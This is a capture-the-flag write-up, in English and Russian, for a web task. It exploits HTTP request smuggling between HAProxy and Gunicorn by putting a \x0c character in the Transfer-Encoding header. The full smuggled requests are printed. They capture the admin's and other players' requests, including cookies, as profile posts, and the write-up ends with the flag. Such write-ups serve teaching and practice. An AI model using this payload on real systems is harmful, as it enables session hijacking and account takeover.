We have found the secret community in the secret shelter and they have their secret forum. There are a lot of secret users that are sharing their secret tactics on how to win in the secret casino. Moreover, somewhere on the site is a secret admin. Find out his secret tactic and give it to us!
http://tasks.sprush.rocks:8080/
Author: @Agalas
На данном сервисе присутствует уязвимость "HTTP request smuggling". При подстановке в заголовок Transfer-Encoding спец. символа, который не будет обработан HAProxy (например \x0c), но будет обработан Gunicorn сервером, произойдет рассинхронизация, что позволит вставить в чужой запрос свои строки. Полное описание
По заголовкам, который отправляет сервер, можно понять, что задействован HAProxy 1.9 и Gunicorn 20.0.4. Регистрируемся и видим функционал для изменения описания профиля и имени и публикации записей.
Главная задача для нахождения флага — узнать логин администратора, так как все пользователи имеют доступ к просмотру профилей, где и находится флаг.
Собираем HTTP запрос с заголовками Transfer-Encoding:<\x0c>chunked
, Connection: keep-alive
; 0c
— необходимый символ для пропуска заголовка сквозь HAProxy. В конце так же необходимо завершить запрос
1
A
0
и получаем
GET /login HTTP/1.1
Host: tasks.sprush.rocks:8080
Content-Length: *
Connection: keep-alive
Transfer-Encoding:<символ \x0c>chunked
1
A
0
Вместо *
нужно будет вставить сумму длины своего и "поддельного" запроса.
После этого запроса мы должны собрать новый, чтобы сохранить себе на странице HTTP запрос администратора (и не только, так как возможен перехват запросов других игроков).
Для удобства можем воспользоваться готовым запросом, который отправляется при создании поста.
POST /user/* HTTP/1.1
Host: tasks.sprush.rocks:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Origin: http://tasks.sprush.rocks:8080
Connection: close
Referer: http://tasks.sprush.rocks:8080/user/*
Cookie: session=*
Upgrade-Insecure-Requests: 1
csrf_token=*&submit=Share&post=
Вместо *
в url подставить свой зарегистрированный логин, в куках - свою сессию, вместо *
в теле запроса - свой токен.
Итоговый вид запроса:
GET /login HTTP/1.1
Host: tasks.sprush.rocks:8080
Content-Length: *
Connection: keep-alive
Transfer-Encoding:<символ \x0c>chunked
1
A
0
POST /user/* HTTP/1.1
Host: tasks.sprush.rocks:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Origin: http://tasks.sprush.rocks:8080
Connection: close
Referer: http://tasks.sprush.rocks:8080/user/*
Cookie: session=*
Upgrade-Insecure-Requests: 1
csrf_token=*&submit=Share&post=
Не забудьте изменить первый Content-Length: *
, как сумму длин запросов.
Отправляем несколько таких запросов и следим за своими постами в профиле.
Переходим по ссылке и получаем флаг!
SPR{on3_arm3d_b4nd1t_1s_b3tt3r_th4n_tw0_h4nd3d_pr0xy}